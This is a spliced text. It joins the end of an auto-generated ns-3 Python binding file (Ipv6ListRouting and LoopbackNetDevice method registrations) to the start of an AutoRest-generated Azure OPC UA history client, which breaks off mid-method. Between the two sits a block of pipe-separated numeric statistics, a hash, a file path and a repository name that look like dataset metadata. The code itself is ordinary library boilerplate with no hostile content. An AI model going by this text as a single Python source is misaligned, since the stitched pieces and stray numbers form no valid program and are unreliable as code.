## ipv6-list-routing.h (module 'internet'): bool ns3::Ipv6ListRouting::RouteInput(ns3::Ptr<const ns3::Packet> p, ns3::Ipv6Header const & header, ns3::Ptr<const ns3::NetDevice> idev, ns3::Callback<void,ns3::Ptr<ns3::Ipv6Route>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ucb, ns3::Callback<void,ns3::Ptr<ns3::Ipv6MulticastRoute>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> mcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,unsigned int,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> lcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv6Header&,ns3::Socket::SocketErrno,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ecb) [member function]
cls.add_method('RouteInput',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv6Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice const >', 'idev'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv6Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ucb'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv6MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'mcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'lcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv6Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ecb')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): ns3::Ptr<ns3::Ipv6Route> ns3::Ipv6ListRouting::RouteOutput(ns3::Ptr<ns3::Packet> p, ns3::Ipv6Header const & header, ns3::Ptr<ns3::NetDevice> oif, ns3::Socket::SocketErrno & sockerr) [member function]
cls.add_method('RouteOutput',
'ns3::Ptr< ns3::Ipv6Route >',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv6Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice >', 'oif'), param('ns3::Socket::SocketErrno &', 'sockerr')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::SetIpv6(ns3::Ptr<ns3::Ipv6> ipv6) [member function]
cls.add_method('SetIpv6',
'void',
[param('ns3::Ptr< ns3::Ipv6 >', 'ipv6')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3LoopbackNetDevice_methods(root_module, cls):
## loopback-net-device.h (module 'internet'): ns3::LoopbackNetDevice::LoopbackNetDevice(ns3::LoopbackNetDevice const & arg0) [copy constructor]
cls.add_constructor([param('ns3::LoopbackNetDevice const &', 'arg0')])
## loopback-net-device.h (module 'internet'): ns3::LoopbackNetDevice::LoopbackNetDevice() [constructor]
cls.add_constructor([])
## loopback-net-device.h (module 'internet'): void ns3::LoopbackNetDevice::AddLinkChangeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function]
cls.add_method('AddLinkChangeCallback',
'void',
[param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): ns3::Address ns3::LoopbackNetDevice::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Address',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): ns3::Address ns3::LoopbackNetDevice::GetBroadcast() const [member function]
cls.add_method('GetBroadcast',
'ns3::Address',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): ns3::Ptr<ns3::Channel> ns3::LoopbackNetDevice::GetChannel() const [member function]
cls.add_method('GetChannel',
'ns3::Ptr< ns3::Channel >',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): uint32_t ns3::LoopbackNetDevice::GetIfIndex() const [member function]
cls.add_method('GetIfIndex',
'uint32_t',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): uint16_t ns3::LoopbackNetDevice::GetMtu() const [member function]
cls.add_method('GetMtu',
'uint16_t',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): ns3::Address ns3::LoopbackNetDevice::GetMulticast(ns3::Ipv4Address multicastGroup) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv4Address', 'multicastGroup')],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): ns3::Address ns3::LoopbackNetDevice::GetMulticast(ns3::Ipv6Address addr) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv6Address', 'addr')],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): ns3::Ptr<ns3::Node> ns3::LoopbackNetDevice::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): static ns3::TypeId ns3::LoopbackNetDevice::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::IsBridge() const [member function]
cls.add_method('IsBridge',
'bool',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::IsLinkUp() const [member function]
cls.add_method('IsLinkUp',
'bool',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::IsPointToPoint() const [member function]
cls.add_method('IsPointToPoint',
'bool',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::NeedsArp() const [member function]
cls.add_method('NeedsArp',
'bool',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::Send(ns3::Ptr<ns3::Packet> packet, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('Send',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::SendFrom(ns3::Ptr<ns3::Packet> packet, ns3::Address const & source, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('SendFrom',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): void ns3::LoopbackNetDevice::SetAddress(ns3::Address address) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Address', 'address')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): void ns3::LoopbackNetDevice::SetIfIndex(uint32_t const index) [member function]
cls.add_method('SetIfIndex',
'void',
[param('uint32_t const', 'index')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::SetMtu(uint16_t const mtu) [member function]
cls.add_method('SetMtu',
'bool',
[param('uint16_t const', 'mtu')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): void ns3::LoopbackNetDevice::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): void ns3::LoopbackNetDevice::SetPromiscReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetPromiscReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): void ns3::LoopbackNetDevice::SetReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## loopback-net-device.h (module 'internet'): bool ns3::LoopbackNetDevice::SupportsSendFrom() const [member function]
cls.add_method('SupportsSendFrom',
'bool',
[],
is_const=True, is_virtual=True)
## loopback-net-device.h (module 'internet'): void ns3::LoopbackNetDevice::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_functions(root_module):
module = root_module
register_functions_ns3_FatalImpl(module.get_submodule('FatalImpl'), root_module)
return
def register_functions_ns3_FatalImpl(module, root_module):
return
def main():
out = FileCodeSink(sys.stdout)
root_module = module_init()
register_types(root_module)
register_methods(root_module)
register_functions(root_module)
root_module.generate(out)
if __name__ == '__main__':
main()
| 66.771943
| 944
| 0.625647
| 89,730
| 859,622
| 5.86465
| 0.02201
| 0.040318
| 0.06826
| 0.080306
| 0.888172
| 0.840398
| 0.799878
| 0.768543
| 0.703651
| 0.623239
| 0
| 0.033502
| 0.218892
| 859,622
| 12,873
| 945
| 66.77713
| 0.750218
| 0.430323
| 0
| 0.767512
| 0
| 0.011483
| 0.280243
| 0.0522
| 0
| 0
| 0
| 0.000078
| 0
| 1
| 0.026203
| false
| 0
| 0.015659
| 0.000104
| 0.067857
| 0.000418
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e3c86860eb34a6013c6996de4935d896b69a46d1
| 50,655
|
py
|
Python
|
api/generated/python/azure-iiot-opc-history/azure_opc_history_client.py
|
jaz230/Industrial-IoT
|
bd4c5abfe579cbb7086a621e8381978e6c70a563
|
[
"MIT"
] | 1
|
2020-01-22T12:03:08.000Z
|
2020-01-22T12:03:08.000Z
|
api/generated/python/azure-iiot-opc-history/azure_opc_history_client.py
|
likithadt/Industrial-IoT
|
d4ea7b330eff08455ca0556fed76aa74d2034da5
|
[
"MIT"
] | null | null | null |
api/generated/python/azure-iiot-opc-history/azure_opc_history_client.py
|
likithadt/Industrial-IoT
|
d4ea7b330eff08455ca0556fed76aa74d2034da5
|
[
"MIT"
] | null | null | null |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator 2.3.33.0
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
from msrest.service_client import ServiceClient
from msrest import Configuration, Serializer, Deserializer
from .version import VERSION
from msrest.pipeline import ClientRawResponse
from msrest.exceptions import HttpOperationError
from . import models
class AzureOpcHistoryClientConfiguration(Configuration):
"""Configuration for AzureOpcHistoryClient
Note that all parameters used to create this instance are saved as instance
attributes.
:param credentials: Subscription credentials which uniquely identify
client subscription.
:type credentials: None
:param str base_url: Service URL
"""
def __init__(
self, credentials, base_url=None):
if credentials is None:
raise ValueError("Parameter 'credentials' must not be None.")
if not base_url:
base_url = 'http://localhost:9080'
super(AzureOpcHistoryClientConfiguration, self).__init__(base_url)
self.add_user_agent('azureopchistoryclient/{}'.format(VERSION))
self.credentials = credentials
class AzureOpcHistoryClient(object):
"""Azure Industrial IoT OPC UA Historic Access Service
:ivar config: Configuration for client.
:vartype config: AzureOpcHistoryClientConfiguration
:param credentials: Subscription credentials which uniquely identify
client subscription.
:type credentials: None
:param str base_url: Service URL
"""
def __init__(
self, credentials, base_url=None):
self.config = AzureOpcHistoryClientConfiguration(credentials, base_url)
self._client = ServiceClient(self.config.credentials, self.config)
client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)}
self.api_version = 'v2'
self._serialize = Serializer(client_models)
self._deserialize = Deserializer(client_models)
def history_delete_values_at_times(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Delete value history at specified times.
Delete value history using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history update request
:type body:
~azure-iiot-opc-history.models.DeleteValuesAtTimesDetailsApiModelHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_delete_values_at_times.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'DeleteValuesAtTimesDetailsApiModelHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_delete_values_at_times.metadata = {'url': '/v2/delete/{endpointId}/values/pick'}
def history_delete_values(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Delete historic values.
Delete historic values using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history update request
:type body:
~azure-iiot-opc-history.models.DeleteValuesDetailsApiModelHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_delete_values.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'DeleteValuesDetailsApiModelHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_delete_values.metadata = {'url': '/v2/delete/{endpointId}/values'}
def history_delete_modified_values(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Delete historic values.
Delete historic values using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history update request
:type body:
~azure-iiot-opc-history.models.DeleteModifiedValuesDetailsApiModelHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_delete_modified_values.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'DeleteModifiedValuesDetailsApiModelHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_delete_modified_values.metadata = {'url': '/v2/delete/{endpointId}/values/modified'}
def history_delete_events(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Delete historic events.
Delete historic events using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history update request
:type body:
~azure-iiot-opc-history.models.DeleteEventsDetailsApiModelHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_delete_events.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'DeleteEventsDetailsApiModelHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_delete_events.metadata = {'url': '/v2/delete/{endpointId}/events'}
def history_read_raw(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read history using json details.
Read node history if available using historic access. The endpoint must
be activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read request
:type body:
~azure-iiot-opc-history.models.JTokenHistoryReadRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: JTokenHistoryReadResponseApiModel or ClientRawResponse if
raw=true
:rtype:
~azure-iiot-opc-history.models.JTokenHistoryReadResponseApiModel or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_raw.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'JTokenHistoryReadRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('JTokenHistoryReadResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_raw.metadata = {'url': '/v2/history/read/{endpointId}'}
def history_read_raw_next(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read next batch of history as json.
Read next batch of node history values using historic access. The
endpoint must be activated and connected and the module client and
server must trust each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read next request
:type body:
~azure-iiot-opc-history.models.HistoryReadNextRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: JTokenHistoryReadNextResponseApiModel or ClientRawResponse if
raw=true
:rtype:
~azure-iiot-opc-history.models.JTokenHistoryReadNextResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_raw_next.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'HistoryReadNextRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('JTokenHistoryReadNextResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_raw_next.metadata = {'url': '/v2/history/read/{endpointId}/next'}
def history_update_raw(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Update node history using raw json.
Update node history using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history update request
:type body:
~azure-iiot-opc-history.models.JTokenHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_update_raw.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'JTokenHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_update_raw.metadata = {'url': '/v2/history/update/{endpointId}'}
def history_insert_values(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Insert historic values.
Insert historic values using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history insert request
:type body:
~azure-iiot-opc-history.models.InsertValuesDetailsApiModelHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_insert_values.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'InsertValuesDetailsApiModelHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_insert_values.metadata = {'url': '/v2/insert/{endpointId}/values'}
def history_insert_events(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Insert historic events.
Insert historic events using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history insert request
:type body:
~azure-iiot-opc-history.models.InsertEventsDetailsApiModelHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_insert_events.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'InsertEventsDetailsApiModelHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_insert_events.metadata = {'url': '/v2/insert/{endpointId}/events'}
def history_read_events(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read historic events.
Read historic events of a node if available using historic access. The
endpoint must be activated and connected and the module client and
server must trust each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read request
:type body:
~azure-iiot-opc-history.models.ReadEventsDetailsApiModelHistoryReadRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoricEventApiModelHistoryReadResponseApiModel or
ClientRawResponse if raw=true
:rtype:
~azure-iiot-opc-history.models.HistoricEventApiModelHistoryReadResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_events.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
